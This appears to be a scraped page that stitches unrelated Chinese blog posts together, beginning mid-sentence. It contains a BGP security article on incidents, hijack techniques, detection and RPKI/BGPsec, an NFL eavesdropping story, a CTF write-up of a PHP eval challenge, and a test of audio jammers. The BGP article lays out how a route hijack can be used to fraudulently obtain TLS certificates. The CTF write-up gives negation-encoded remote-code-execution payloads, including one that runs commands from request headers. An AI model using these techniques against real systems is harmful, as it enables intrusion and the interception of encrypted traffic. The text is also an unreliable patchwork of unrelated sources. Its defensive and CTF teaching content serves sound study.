不允许通告给其他的 Peer 和 Provider。 如下表: 0x01 5个经典BGP安全大事件 1.Northrop Grumman部分bgp网络被恶意利用(2003) 2003年5月,一群垃圾邮件黑客攻击了美国诺斯洛普·格鲁门公司申请但(Northrop Grumman,当时世界第三大军工生产厂商、世界上最大的雷达制造商和最大的海军船只制造商)尚未使用的一段网络。并用来发送海量的垃圾邮件,以规避垃圾邮件过滤系统。最终, 这家军火承包商花费2个月来重新声明对这些IP地址的所有权,并在国际互联网上封堵这些流氓路由广播。同时,由于被频繁地列入垃圾邮件地址黑名单, Northrop Grumman的IP地址全部被禁止使用。 2.巴基斯坦电信致YouTube断网事件(2008) 2008年2月,巴基斯坦政府以视频网站YouTube有亵渎神明内容为理由命令网 络服务商封锁YouTube。 巴基斯坦电信(Pakistan Telecom)试图限制本地用户接入 YouTube,通过BGP向香港电信盈科(PCCW)发送新的路由信息(有错误)。然 后PCCW向国际互联网广播了这个错误的路由信息。 当时,巴基斯坦电信在路由器上加了条static route把208.65.153.0/24弄到了 null0接口(黑洞路由) ;巴电信的工程师手抖把static route redistribute(Cisco路由 器上同步不同协议路由表的方法)到BGP了,也就是说把该路由器上的静态路由 表添加到BGP的路由表了,静态路由同步到其他路由表里的优先值最高。 BGP把这条路由向其他Peer AS的路由器同步了,最先中枪的是香港的电讯盈 科(PCCW),然后接着被逐渐同步到了全世界。这时互联网的大部分用户想上 Youtube的时候,数据包都丢到巴基斯坦某个路由器的null接口,结果当然是打 不开。 3.Hacking Team利用BGP Hijack协助意大利黑客团体的攻击行动(2015) 利用bgp hijack技术劫持目标网络链路数据, 然后结合Adobe flash 0day等技术手段向目标网络投递/植入RCS, 完成长期监控。 4.Google工程师配置错误致日本800万用户断网1小时(2017) Google工程师配置错误, 意外劫持了NTT通信株式会社的流量。 (NTT是日本一家主要的ISP, 其还支持OCN和KDDI两个小型的ISP。 在日本, NTT为767万家庭用户和48万家公司提供互联网服务)。 导致日本持续断网40分钟左右, 这在日本引 起 不 小 的 恐 慌 。 据 日 本 当 地 媒 体 报 道 , 日 本 总 务 省( Ministry of Internal Affairs andommunications) 已经对此事展开调查, 并要求ISP提供详细报告。Google发言人发表声明承认是他们的错误, 发言人向朝日新闻表示, Google对网络设置了错误信息导致问题发生, 并对带来的不便与恐慌致以歉意。 断网事件发生后, Google方面在8分钟之内更正了信息。 为什么日本会遭受如此严重的影响呢? 谷歌此次泄漏的16万条路由中, 超过25,000条路由是属于NTT的路由地址段, 在受影响的全部网络, 涉及NTT的路由数最多。实际上, 本次路由泄漏并不涉及KDDI的路由地址段。 但KDDI为何会遭此灾难呢? 因为KDDI是Verizon的互联网转接(IP Transit) 客户, 也就是说, KDDI买了Verizon的互联网转接(IP Transit) 服务。 KDDI从Verizon接受了超过95,000条泄漏的路由前缀。 日本另一个电信运营商IIJ也从Verizon接受了超过97,000条泄漏的路由前缀。 因此, 从KDDI或IIJ到NTT的任何互联网流量, 都被先传送到谷歌在芝加哥的数据中心。NTT、 KDDI、 Softbank BB和IIJ是日本前四大互联网骨干网络,他们之间互联互通流量巨大。 这次BGP路由事故导致其中三大日本运营商之间的国内流量国际化, 漂洋过海跨越太平洋, 经过日美之间众多国际海缆系统, 流向谷歌的美国芝加哥数据中心。 这种情况下, 纵使日美之间国际海缆带宽原本很充足, 也承载不了本来应该在日本国内的互联网洪荒之流, 导致日美互联网高速公路严重堵塞, 互联网流量通达时间过长, 从而出现灾难性互联网数据丢包, 导致日本互联网中断。 5. 亚马逊遭BGP劫持致价值1730万美元ETH被盗(2018) 美国时间4月24号上午, 亚马逊权威域名服务器遭到BGP路由劫持攻击。 攻击者的目的是利用DNS和BGP固有的安全弱点来盗取加密货币。 该劫持波及了澳洲、 美国等地区。本次事件中, 用户对该网站的访问流量被全部劫持到一个俄罗斯ISP提供的非法网站。 MyEtherWallet 已发声明表示很多用户成为本次攻击的受害者。 0x02关于BGP的那些安全缺陷/漏洞 1.BGP基本三原则 1.当BGP路由建立邻居连接后, 彼此将路由条目发送给邻居。 2.当目的网络确定时, AS_PATH最短路径具有路由优先权 3.当目的网络确定时, 网络通告地址越具体(掩码越长)越有路由优先权有路由优先权 2.BGP hijack 2.1闲置AS抢夺 对外宣告不属于自己, 但属于其他机构合法且未被宣告的网络。 攻击前: AS1是网络1.1.1.1/18和1.1.2.2/18的所有者, 但其目前只使用了1.1.1.1/18, 故对只宣告了1.1.1.1/18, 而没有宣告1.1.2.2/18。 如下图: 攻击后: AS5 拥 有 网 络 5.5.5.5/16 , 他 发 现AS1 没 有 对 外 宣 告 了 1.1.2.2/18 而1.1.2.2/18确实是存在且是合法的。 AS5对外宣告了1.1.2.2/18导致所有前往1.1.2.2/1的所有流量都发给了AS5。如下图: 2.1近邻AS通告抢夺 利用物理位置邻近特性, 就近宣告不属于自己的网络劫持近邻网络链路。 攻击前: 攻击后: 2.2长掩码抢夺(吸虹效应) Special-Prefix hijack 利用BGP选路长掩码优先的特性劫持有可达网段全流量。 攻击前: 攻击后: 2.2 AS_PATH hijack (沙丁鱼捕术) 利用AS_PATH prepend可任意修改的特点,通过增AS_PATH穿越AS数量抑制其路由优先级, 将数据流向赶向目标网络。 达到控制网络流量的目的。 攻击前: 攻击后: 2.3 路由泄露(Route leak) BGP路由泄露: BGP路由条目在不同的角色都有其合理通告范围, 一旦BGP路由通告传播到其原本预期通告范围之外称之为路由泄露, 而这会产生难以准确预料的结果。 根据其发生泄漏后造成的结果大致可分为以下3种: Ø造成源网络中断。 Ø造成源网络和被指向网络中断。 Ø造成AS穿越/ISP穿越/MITM等问题 在AS1发生路由泄露前, AS1、 AS2、 AS3、 AS4、 AS5都能正常通讯。 如下图: 2.4 BGP TTL modify (饭后甜点) EBGP运行在AS与AS之间的边界路由器上, 默认情况下需要直连或使用静态路由如果不是直连,必须指EBGP多条。否则无法建立邻居关系。为解决此问题定义了ebgp-multihop属性来修正跳数(hop)问题。在ebgp建立邻居的时候默认ttl值为1,如果不修改ebgp-multihop会导致非直连的ebgp邻居无法建立邻居关系(这也是一种ebgp的防环措施)。其实质就是通过此属性来修改出站方向路由的TTL属性值。 BGP TTL值支持自定义修改, 故可在进行MITM(BGP 路由TTL值每经过一跳值会减小1) 攻击的同时制定策略, 修改TTL值(增加对应跳数消耗的TTL值) 让其跳数看起来无异常。 能达到一定的隐藏作用。 switch(config)# router bgp 1.1 switch(config-router)# neighbor 192.0.2.1 remote-as 1.2 switch(config-route-neighbor) ebgp-multihop 2 (1-255) 2.5 Use BGP Break HTTPS 有了之前的BGP hijack, 现在只需拿到合法TLS证书即可解密https流量。 Ø通过TLS CA 为用户获得TLS证书的过程如下: 1、 先在CA网页申请一个帐号 ; 2、 认证登录请求CSR(certificate signing request) 创建并载入,尽管这很重要, 一些CA甚至允许跳过这步直接从CA中取私钥; 3、 CA提供了很多选择认证用户所有权, 其中包含以下必备的3项: •查询whois记录 •载入特定html在特定url通过认证 •使用者在dns表中建立自定义token 当以上确认后,申请者付款,付款完成,CA发放TLS合法认证,,然后我们就能用这个TLS证书向你网页访问者证明身份合法性。(确实是合法的,全球有效) 劫持CA(certificate authority) 证书: 从以上过程我们可以看出, 只要保证3中的3个条件验证通过, 即可申请到合法TLS 证书。如果我们选择了正确的CA, BGP劫持打断CA间的通话也不会被发现。实现这样的攻击你需要的只有两个: 1、 一个可控制的边界路由 2、 你的BGP结点的信息:它的客户, 提供者, 结点信息, 公共服务类似Qrator Radar或者 BGP监听。 花一个小时确认这些基本信息, AS_PATH 追踪路线, 等等。 然后: 使用BGP劫持技术将whios、 URL认证server、 DNS TXT、 DNS , token对应的地址指向自己搭建的3类server: 查询whois记录 (明文传送可伪造) 载入特定html在特定url通过认证 (明文传送可伪造) 使用者在dns表中建立自定义token (明文传送可伪造) 然后接着进行第4步即可完成TLS证书申请。 0x03 检测 & 防御 1.BGP Routes Moniting(检测篇) 使用traceroute命令查看TTL相关信并与正常情况下进行比对。 多数情况通过TTL值增和经过的AS路径来判否存在劫持。当未发生路由劫持时, 如下图: 当发生路由劫持时, 发现路由绕行了:AS40->AS30->AS10->100。如下图: 自建平台实时同步全球权威机构、 组织的全量BGP路由表,并与本地收集到的BGP进行比对。 发现异常并实时告警。如下图: 部分开源项目,如RouteViews: 选取合理的采集周期, 在周期内对BGP正常状态下路由更新条目的数量进行统计。 选合理的更新条目总数阈值范围, 实时监控AS内BGP路由条目更新数目, 发现异常实时告警。 Ø使用商业化BGP路由监控告警平台 • IAR (Internet Alert Registry) • PHAS (Prefix Hijack Alert System) • RIPE NCC MyASN Service • BGPmon • WatchMY.NET • Renesys Routing Intellig 2.过滤和限制路由通告范围(防御篇) Ø梳理清楚AS范围内BGP、 IGP全局路由策略哪些路由通告是允许的、 哪些是禁止的。 并合理使用ACL、 Route-map或BGP Prefx Filtering控制路由的宣告、 传播范围。 Ø运营商、 服务提供商应当依据以下原则, 对不同商业角色路由器进行路由通告制定详细的BGP Prefx Filtering并启用。 如下图: 3.算法模型(检测篇---外部引用) 3.1 域间路由的中间人攻击模型 域间路由的中间人攻击通常基于前缀劫持来实现。 前缀劫持宣告伪造的路由以劫持通往受害网络的流量。 典型的前缀劫持如图所示。 AS6向外非法宣告属于AS1的前缀10.1.16.1/22, 使得AS4和AS5被该伪造路由污染。 进而, 它们到达受害网络• AS1的流量也将被劫持到AS6中。 如下图示: • AS1是网络10.1.16.1/22的真实所有者, 我们标示为:f • AS5为起始网络/受污染网络, 我们标示为:Y • AS6为起始攻击者网络, 我们标示为:X • 在攻击发起前从Y到f的AS_PATH为: AS2 AS 在攻击发生后, 从Y到f的AS_PATH为: AS6 AS2 AS1。 如下图: 3.2 域间路由中间人攻击的异常特征 首先, 如节上所述, 域间路由中间人攻击的第1步是实施前缀劫持。 鉴于前缀劫持会造成MOAS(multiple origin AS)冲突, 因此产生异常的MOAS是域间路由中间人攻击的第一个重要特征。 由上述分析显见, 除产生上述控制平面的MOAS异常外, 域间路由中间人攻击还具有另外2个典型特征, 即: 1) 受污染网络在攻击之后, 其到达受害前缀的数据平面的转发路径比控制平面的AS-path要延长(换言之, 控制平面的 AS-path是其数据平面的转发路径的子路径)。 2) 受污染网络在攻击之后到达受害前缀的转发路径的终点正是攻击之前到达该前缀的AS-path的终点。 综合上面的分析, 可使用公式表达式来描述: 4.安全增强协议RPKI 与BGPsec (终极防御篇) 4.1 RPKI(RFC 6810) 针对BGP路由前缀劫持问题,当前业界正在推进的方案是RPKI(Resource Public Key Infrastructure:互联网码号资源公钥基础设施) 在之前亚马逊的案例中,当天上午为时两小时的过程中,攻击者(AS10297)对以下前缀发起了路由起源声明: 205.251.192.0/24, AS10297 205.251.193.0/24, AS10297 205.251.195.0/24, AS10297 205.251.197.0/24, AS10297 205.251.199.0/24, AS10297 如果亚马逊部署RPKI并签发资源证书和ROA(路由起源认证)那么其他部署了RPKI路由器的自治网络就可以帮助过滤这些虚假路由。具体地说, 亚马逊使用自己的RPKI证书签发以下ROA并发布到全球资料库中: <205.251.192.0/23, AS16509> <205.251.193.0/23, AS16509> <205.251.195.0/23, AS16509> <205.251.197.0/23, AS16509> <205.251.199.0/23, AS16509> 那么部署了RPKI路由器的其他自治网络, 就可以从RPKI依赖方那里得到验证后的IP前缀和起源AS号的绑定关系, 继而判定起源于AS16509的相应路由通告为真并将其保留, 以及判定由攻击者发起的起源于AS10297的路由通告为假并将其丢弃, 从而完全抵御这次路由劫持。RPKI作为一种域间路由安全机制, 本身只能提供路由起源认证, 而不能提供路由全路径认证, 所以RPKI能够避免以上这种前缀劫持攻击。 4.2 BGPsec(RFC 8206) 但其他类型的路由攻击(如路由泄漏攻击和路径缩短攻击) 可以绕过RPKI进行流量劫持。 针对这种情况, IETF提出了一种部署在RPKI之上的全路径认证机制——BGPsec, 并将其标准化。 BGPsec要求每一个AS都对它接收到的路由通告消息进行签名, 签名内容作为路由消息的路径属性BGPsec_Path_Signatures通告给邻居AS。 签名内容包括: (1)上一个AS的BGPsec_Path_Signatures; (2)本自治系统的AS号; (3)路由消息要发往的自治网络的AS号; (4)本AS的RPKI路由器公钥。 由此可见, BGPsec_Path_Signatures实际上代表了AS路径中的前一AS对后一AS继续通告该路由的授权。 部署了BGPsec的AS在路径签名之前还要进行路径验证, 验证过程如下: 当一个AS收到路由通告消息后, 会依次验证AS路径中每一个AS对应的BGPsec签名(包含在BGPsec_Path_Signatures中) 。 如 果全部验证成功, 说明该AS路径是真实有效的, 当前AS才可能采用并继续向外播该路由通告。 BGPsec可以有效避免BGP路径缩短攻击。 from:https://mp.weixin.qq.com/s/GhmPpxZjMaI9GUlAKw7wtA <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  8. 篇首语:最近杨叔看到好多朋友家小盆友都在上橄榄球课,也就习惯性关注下这个行业的隐私保护现状,于是就......看到了有趣的东西 今年7月,第一本全面揭露美国NFL职业橄榄球大联盟中阴暗面的书籍出版,书中囊括了从偷拍、安装窃听器材、秘密监视,到窃取文件、窃听电话、间谍刺探,以及内部斗争等等球队间对抗的情节。 谁能想到这些听起来像是007电影里的桥段,都来自真实的美国职业橄榄球联盟 声明1:以下内容符合OSINT国际开源情报搜集定义,不涉及任何非法行为,仅供交流与参考。 声明2:咳咳,杨叔不是橄榄球迷,如果在体育术语上有翻译不准确的地方,就当没看见吧 1 NFL全美职业橄榄球大联盟 美国职业橄榄球大联盟(National Football League,简称NFL)是指美国国家橄榄球联合会(National Football Conference,简称国联NFC)与美国橄榄球联合会(American Football Conference,简称美联AFC)合并后的名称。 NFL美国职业橄榄球大联盟,高居北美四大职业体育运动联盟之首,也是世界上规模最大的职业橄榄球大联盟。 目前,不但很多赛事国内平台都有转播,作为对身体素质要求更高的橄榄球运动,在国内的粉丝群体也正在快速增长中。 PS:杨叔在以前的软文里也提及过NFL,可以作为本篇的参考: 内幕 | 那些体育圈的窃密事件 OK,接下来,我们直接看看有趣的部分。 2 被窃听的球队更衣室 球队最担心的是在客场被恶意窃听。 很显然,客场的更衣室是一个值得关注的区域,因为很多关键信息通常在比赛前和中场休息时在这里讨论,而且更衣室的空间很大,很难找到器材。 因此,相当多的教练怀疑更衣室里有窃听器材,有些人很确定他们的球队遭受到了这样的恶意监视。 1971年至1973年,洛杉矶冲锋者队Los Angeles Chargers的主教练,曾对着奥克兰更衣室里的灯大声咒骂:“该死的,Al Davis!该死的!我知道你在那里!” (杨叔注:Al Davis是圣地亚哥闪电队San Diego Chargers的主教练) 另一个关于更衣室窃听的指控是在2012年。 当时一位匿名消息人士称,新奥尔良圣徒队总经理米基·卢米斯(Mickey Loomis)在他的套房里有一台电子设备,该设备能够让他在2002年至2004年期间,窃听到访教练组的谈话。 据称,路易斯安那州东区的美国检察官办公室接到了举报,NFL联盟也着手开展了调查,但最终没有发现任何不法行为的证据。 当时这件事上了ESPN的头条,有很多体育节目也做了报道和讨论。 所以,这真的是无事生非?还是有人恶意诽谤,或者教练们都得了受迫害妄想症? 一位2009年曾在NFL执教的球队教练,后来在接受匿名采访时承认: “我们在佛罗里达州立大学体育场的访客更衣室里放了麦克风。然后在赛前和中场休息时都偷听了佛罗里达州的计划。中场休息时,我们听取了鲍比对球队说的话。我们知道他们接下来的场上策略。” “我们像CIA一样偷听了鲍比的更衣室,我们尽力了,但他仍然打败了我们!”这位教练沮丧地说。 下图是俄罗斯的加加林杯冰球联赛上,Metallurg的客队教练在圣彼得堡冰宫的教练室内,发现的一个带有麦克风的无线电窃听器材,供参考。 3 无法讨论的教练室 虽然教练室比更衣室小得多,但它也是球队非常关注的一个区域,因为包括比赛呼叫在内的敏感信息通常会从那里传递。 因此,球队对他们在教练室中发现的任何异常,都抱有非常谨慎的态度。 例如,在1944年至1955年间的一次比赛,熊队的球探菲多·墨菲(Fido Murphy)在教练室与在场上的一名熊队工作人员通电话,谈论公羊队是如何诱导防守队员的。 在谈话过程中,墨菲听到话筒里发出一声杂音,他立刻断定自己的谈话被窃听了。(杨叔注:这应该是针对模拟电话线路的搭线窃听) 墨菲不再相信电话是安全的,于是他跑了大约半英里来到球场,将信息传递给教练乔治·哈拉斯。不幸的是,由于信息传递的延迟,公羊队在熊队做出调整之前已经大比分领先。 4 赛场上的监听 对监听设备的恐惧也同样蔓延到了赛场上。 一些球队怀疑,由Bill Belichick担任主教练的新英格兰爱国者队,在爱国者队的防守线上放置了一个或多个隐蔽的麦克风,以偷听对方进攻的声音。 一位了解间谍丑闻的内部人士声称: “爱国者队为用来记录现场的运动摄像机配备了一个高功率麦克风,用于监听人群中对方防御人员的对话。无论老爱国者队是否通过远距离麦克风获得对手的声音,至少新英格兰队都会通过各种方式收集这些声音。” 想不到吧,球队自己的摄像机上还藏有这个猫腻? 1995年至2004年为爱国者队效力的后卫Ted Johnson透露:在比赛开始前一个小时左右,他会在自己的储物柜里神秘地收到一份对手讨论进攻策略的录音内容。 关于远距离监听技术的细节,大家可以关注杨叔另一篇软文: 远距离语音监听 ▪ 来自网店的解决方案 以下背景知识来自度娘: 新英格兰爱国者队(New England Patriots)是一支位于美国马萨诸塞州大波士顿地区的美式橄榄球球队,其主场吉列体育场位于波士顿郊外的福克斯堡。 自比尔·比利切克(Bill Belichick)2000年执掌球队后,爱国者队逐渐成为了NFL历史上最成功的球队之一,在2002、2003、2004、2015、2017、2019年球队六次夺得超级碗,并保有NFL常规赛最长连胜纪录——21场,超级碗最大逆转纪录——25分(第51届超级碗)。 5 教练的选择 球队处理窃听威胁的最常见策略是:避免在更衣室讨论敏感信息。 例如,小马队四分卫佩顿·曼宁怀疑主教练比尔·贝利奇克领导下的爱国者队,在新英格兰的游客更衣室安装了窃听器材。出于这个原因,曼宁经常在中场休息时拒绝讨论与比赛有关的问题,直到他们离开更衣室。 “离开更衣室再进行沟通”并不总是一个合适的选择,尤其是对于需要向整个团队传递信息的教练来说。 因此,教练们找到了创造性的方法,在怀疑被窃听的更衣室里与球员沟通。 其中一种方法是使用唇语,即只做口型不发音。Weeb Ewbank在1958年NFL锦标赛期间就使用了这种方法。 除此之外,还可以使用水声掩盖自己的声音。四分卫佩顿·曼宁在客场对阵爱国者的比赛中也使用了这种策略。 他说:“每次我和新英格兰队比赛时,我都会去远处角落的淋浴间和我队员聊天。我会说,不要在我们的更衣柜旁讨论比赛,因为我知道它被窃听了。我知道里面有一个麦克风,所以要尽可能地采取一切预防措施。 6 NFL如何应对威胁 NFL联盟已经采取一些措施,来应对窃听的威胁。 首先,NFL的《比赛操作手册》规定:“在90分钟的比赛开始前并持续到比赛结束(包括中场休息)的比赛日,禁止在教练室、场边、更衣室(开球后)或任何其他俱乐部控制区内使用任何能够录制或回放视频的设备。” 其次,NFL联盟定期对内部设施开展反窃密安全检查工作,以阻止球队试图安装窃听设备。 2015年,喷气机队和爱国者队在马萨诸塞州进行了一场比赛,广播公司Boomer Esiason宣称,喷气机队已要求对更衣室开展反窃密安全检查,确保没有窃听器材。 但NFL联盟发言人拒绝了这个要求,并表示,“联盟已经连续多年对周边开展了例行和随机物理检查。” 第三,如果有必要,NFL会对使用窃听器材的指控展开调查。例如2012年发生的对圣徒队和总经理米奇·卢姆斯的指控。 最后, 虽然依旧有很多人在怀疑开展这类专业检测的必要性,但在一个被“愿意不惜一切代价获取竞争优势”的人所充斥的联盟中,非法监听的威胁也终将推动NFL联盟继续开展反窃密安全检测。 -----END-----
  9. 简单的php 题目源码 <?php show_source(__FILE__); $code = $_GET['code']; if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){ die(' Hello'); }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); } ?> 首先对传入的code参数进行了正则过滤,过滤大小字母、数字、以及一些特殊符号,但是没有过滤 ~ 取反, 下面还有一个条件 if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)) @eval($code); 这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这段代码就会被eval执行。而且因为这个正则表达式是递归调用的,所以说像a(b(c()));第一次匹配后就还剩 下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c())),就会被eval执行,但相反,像a(b('111'));这种存在参数的就不行 那么这题的解法就属于无参数的取反RCE 无参rce常用函数getallheaders() 获取全部 HTTP 请求头信息 get_defined_vars() 返回由所有已定义变量所组成的数组 session_id() 获取/设置 当前会话 ID implode() 将一维数组转化为字符串 getchwd() 函数返回当前工作目录。 scandir() 函数返回指定目录中的文件和目录的数组。 dirname() 函数返回路径中的目录部分。 chdir() 函数改变当前的目录。 readfile() 输出一个文件。 current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 next() 函数将内部指针指向数组中的下一个元素,并输出。 end() 将内部指针指向数组中的最后一个元素,并输出。 array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。 array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。 array_slice() 函数在数组中根据条件取出一段值,并返回。 array_reverse() 函数返回翻转顺序的数组。 chr() 函数从指定的 ASCII 值返回字符。 hex2bin() — 转换十六进制字符串为二进制字符串。 getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。 localeconv() 函数返回一包含本地数字及货币格式信息的数组。 我们先试着构造一个phpinfo() 取反后的结果就是:%8F%97%8F%96%91%99%90 正常我们取反rce,比如system(‘whoami’); (~%8C%86%8C%8B%9A%92)(%88%97%90%9E%92%96); 但是这个payload里的括号会影响我们这题的正则替换 这样就不满足条件,所以我们要把小括号换城另一种符号,换成‘[ ]’中括号 当然在我们换成中括号后不能改变原来的意思,我们要取出字符串比如这样 所以我们就可以构造我们的phpinfo()了 也就是 [~%8F%97%8F%96%91%99%90][!%FF](); 这里的!%FF也就是0 成功执行,下面就是无参rce的构造了 打印请求头信息 var_dump(getallheaders()); [%89%9E%8D%A0%9B%8A%92%8F][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()); 可以通过控制请求头来rce system(array_pop(getallheaders())); array_pop取数组的最后一个元素,所以我们要把命令放在最后一个请求头 这里用burp抓包改请求头 接下里就可以拿flag了
  10. 声明:以下涉及到产品图片等内容均来自互联网,出于不让厂商尴尬的考虑,某些过于明显的特征均已做模糊化处理。 01 窃听门故事 以下案例来自互联网(百度搜索),仅用于案例的技术性表述参考,不做评论。 2019年6月28日,一篇题为《窃听门风波后续:甲乙丙丁网CEO手撕阿里铁军,谁给你的勇气?》的文章在网络上传开。 简单说就是: 一家名为“甲乙丙丁网”的汽车综合服务商,原公司业务运营中心COO周某,因“不能胜任工作”于6月3日在管理层周例会上被解除职务,并于6月24日被公司通知辞退。 据称,被辞退的导火索是,2019年5月30日晚23时左右,甲乙丙丁所有高管收到了一封匿名邮件(该邮件并未发送给周某),邮件中附带一段被剪辑的音频。 经技术分析,发现这段音频是由至少6-7段周某的谈话内容剪辑而成。音质清晰,猜测是被录音窃听后合成的,时间跨度约为2019年1月至2019年4月,历时长达三个月。 也因此,部分报道有评论称此举为公司窃听。 随后6月28日,甲乙丙丁公司官方发表声明澄清,称录剪辑的录音,“经过内部调查已确定为周某在部门会议中的发言,不存在任何公司私录窃听的情况。”并透露,发送音频者暂未查到,将通过司法机关对该录音进行鉴定。 02 为何要录音 几年前,杨叔和一位IT圈的老哥在酒吧小聚,他曾在某个大型企业董事会里有把椅子。 酒没过三旬,老哥就聊起了他的经历: 当年初入董事会,多年来深知“扬汤止沸,不如釜底抽薪”这个道理的他,在怀揣着“人不犯我我不犯人”的底线原则,他开始有意识地,在每一个和其他董事会成员独处的时候,偷偷录音。 几年后,就和那些港剧里的狗血情节一样,因为董事会内部不合,有人跳出来想无中生有无事生非无法无天...... 经过一番非肉体形式的内部群殴,董事会最终离去两人,一位惨淡离场,几乎一无所得,还有一人就是他,拿了应得的然后全身而退。 很少人知道当年的这个结果背后到底发生了什么,不过这回也就是因为杨叔从事反窃密这行了,才多少管中窥豹般接近点真相。 注:遵照当事人要求,文中不能提及相关人名和公司,尤其是他外表极其正直的长相。 嗯,这就是我们所说的“技术无错论”: 同样的技术,心怀恶意的人利用它为非作歹,隐私保护意识高的人则使用它自保脱身。 03 录音能否作为呈堂证供? 引用一些专业定义,哈,觉得枯燥的朋友可以直接跳到04节: 我国《民事诉讼法》第六十三条第一款第四项规定“视听资料”这一证据形式,即录音可以作为一种证据。 当然,录音作为诉讼证据,肯定有一些限制。 • 录音要尽量保留原始载体: 《最高人民法院〈关于民事诉讼证据 的若干规定〉》(以下简称若干规定)第22条规定:“调查人员调查收集计算机数据或者录音、录像等视听资料的,应当要求被调查人提供有关资料的原始载体。 比如:录音笔、手机里的电话录音就是原始材料,拷贝到电脑、U盘或刻录到光盘里的录音材料都不是原始材料。 • 录音不得侵犯他人隐私: 《若干规定》第68条关于非法证据的排除范围,限于“侵害他人合法权益或者违反法律禁止性规定的方法取得的证据”,前者包括以拘禁、胁迫等方式侵害他人合法权益的行为取得的证据,后者包括一切违反法律禁止性规定的方法取得的证据。 不能采取侵犯被录音者的隐私权等方式获得录音,比如:以在被录音者家中偷偷安装监听设备方式取得的证据就是非法方式,这种录音不能作为证据使用。 而未经对方同意的录音则不一定都是非法证据,比如:录音者在自己家里给被录音者打电话的电话录音,就是合法的取证方式。 • 录音证据尽量不要单独使用: 录音、摄像等视听资料不能单独作为认定案件事实的依据,只有在有其他证据以佐证而补强的情况下,才能作为案件的定案证据。 我国民诉法和司法解释都有规定,如民诉法第69条规定,“人民法院对视听资料,应当辩别真伪,并结合本案的其他证据,审查确定能否作为认定事实的根据”。 而《若干规定》第69条则进一步明确规定,“存有疑点的视听资料”不能单独作为认定案件事实的依据。 比如:提交法庭的录音不论有多长,都必须完整,不得擅自剪切、拼接录音片段。 04 如何防止第三方录音? 以前保密干部们防止第三方偷听和录音的方法,原理简单粗暴: 一要么增大背景噪声,比如临时去KTV开一小包,放大音量循环播放,然后两人贴耳交流,什么窃听器材全都扯犊子了。 二要么增大环境温度,比如两人直接去大浴场,坦诚相见,先比较下彼此的肚腩,再蒸个桑拿,然后泡在浴池角落里耳语,什么防水多少级的牛X器材全都完蛋。 但不能总是用以上两种方法,特别是当谈话对象是异性时,就尤为不合适 录音干扰器是一种在特定环境下用来屏蔽录音的设备,可以有效干扰数码和磁带录音机、摄像机、窃听器的录音设备,可以有效的干扰频率在100HZ-20000HZ的数码录音笔和磁带录音机。 通过输出人类听力频率范围外的白噪音,使录音笔或录音机录制到的只是一片“嗡嗡”噪声,无法录制到讲话人的对话内容,录制到的声音经过声音后期处理也无法还原出讲话人的声音(因为录音设备捕捉到的声音只有噪音),从而有效的保护对话内容不被秘密录制。 现在的会议屏蔽系统,一般由一台屏蔽器主机、多个扩展器和遥控器组成,扩展器和主机之间通过专用线连接实现多角度多方位屏蔽。 在L2隐私保护认证课程中,学员将接触到不同外型的录音干扰器,并体验实际效果。 05 录音干扰器靠谱不? 过去几年,杨叔所在的RC2反窃密实验室,已经陆续对市面上几乎所有主流的录音干扰器,开展了严格的真实性能测试。 ■ 测试环境:20平米标准会议室/办公室。 ■ 测试手机:iPhone6/7/8及以上版本,华为、小米、OPPO、VIVO、锤子、Sony、三星等市面使用率较高的各型号手机。 ■ 测试录音笔:市面主流数码型号,以国产、日、韩产品为主,包括索尼、纽曼、爱国者、新科等。 ■ 测试录音干扰器设备产地:(以便携式和小体积会议版设备为主) 中国大陆、中国台湾、日本、波兰、俄罗斯、乌克兰、美国等近30款,价位从数千元到数万元不等。 注:为了给厂家保留最后一丝颜面,就不列名了,特别是国内那几家行业有名的,不用谢~ 下图是RC2反窃密实验室测试过的部分产品。 ■ 测试条件约束 测试仅对生活工作中最常见的手机、录音笔这两种录音方式,不涉及其它如无线摄录设备、无线窃听、遥控设备、采访麦克风、磁带录音机等录音干扰。 ■ 测试结果: ✘ 测试主要使用便携式和小体积录音干扰器产品为主,干扰有效距离基本都在0.5~1.5米范围,至于产品标称的2~3米距离经测试实际意义不大。 ✘ 售价4千元以内的低端录音干扰器,对市场一半以上录音笔有效果,但对于一半以上的手机录音,基本上无效。 ✘ 售价一万元左右的中端录音干扰器,对市场绝大多数录音笔有效果,对于市面上中低端手机有效,但对于市面流行的高端手机效果一般,或过于依赖干扰角度。 ✘ 售价数万元的高端录音干扰器,主要出现在某些会议室解决方案里,但实际效果和中端干扰器产品差距不大。 ✔ 特别地,对于iPhone7及以上版本,已经成为录音干扰器测试标杆。即经过对80多部iPhone7/8及以上型号测试结果表明,除了个别俄罗斯出产的干扰器产品在使用指向性麦克风直接正对着手机录音口后有效果,其余几乎没有一款能够对该系列手机实现完整干扰。 不看广告看疗效,在L2隐私保护认证课程中,学员们将现场体验下录音干扰器的效果。 ☆录音干扰实例01: 杨叔使用低端录音干扰器(来自淘宝)对LG V30+手机的干扰效果,可以听到时有时无的滋滋干扰声,干扰波形很不稳定,可以清晰地识别到人声,干扰失败。 ☆录音干扰实例02: 杨叔使用中端录音干扰器(俄罗斯某厂)对LG V30+手机的干扰效果,可以听到经典的“暴风”声,人声已经被完美覆盖,干扰成功。 ☆ 录音干扰实例03: 杨叔使用中端录音干扰器(俄罗斯某厂)对iPhone 8手机的干扰效果,虽然依旧能听到“暴风”声,但可以辨识谈话内容,干扰失败。 因为下载转载的问题,如果想听一下录音干扰器的干扰效果可以移步到公众号 欢迎大家自行验证测试,欢迎有实力的厂家,寄送最新款产品至RC2反窃密实验室,欢迎实力打脸。 ---End---
